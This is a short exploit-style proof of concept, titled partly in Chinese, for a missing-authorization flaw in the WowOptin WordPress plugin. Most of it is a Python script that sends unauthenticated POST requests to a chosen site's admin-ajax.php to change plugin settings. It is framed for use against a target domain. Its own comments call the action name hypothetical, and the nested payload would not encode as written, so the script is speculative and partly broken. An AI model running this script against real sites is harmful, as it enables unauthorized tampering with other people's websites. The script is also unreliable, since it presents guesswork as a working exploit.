CVE-2026-39700 WowOptin插件权限缺失漏洞

# Exploit Title: WowOptin < 1.4.32 - Missing Authorization PoC # Date: 2026-04-08 # Exploit Author: Analyst # Vendor Homepage: https://wpxpo.com/ # Software Link: https://wordpress.org/plugins/optin/ # Version: <= 1.4.32 # Tested on: WordPress 6.x import requests def check_vulnerability(target_url): """ Checks for missing authorization vulnerability in WowOptin plugin. Note: The specific 'action' parameter needs to be identified via source code analysis. """ ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Hypothetical action based on plugin functionality payload = { "action": "wow_optin_save_settings", "data": { "email": "[email protected]", "status": "active" } } try: response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200 and "success" in response.text: print("[+] Potential vulnerability detected! Settings modified without authentication.") else: print("[-] Target not vulnerable or action parameter incorrect.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target domain check_vulnerability(target)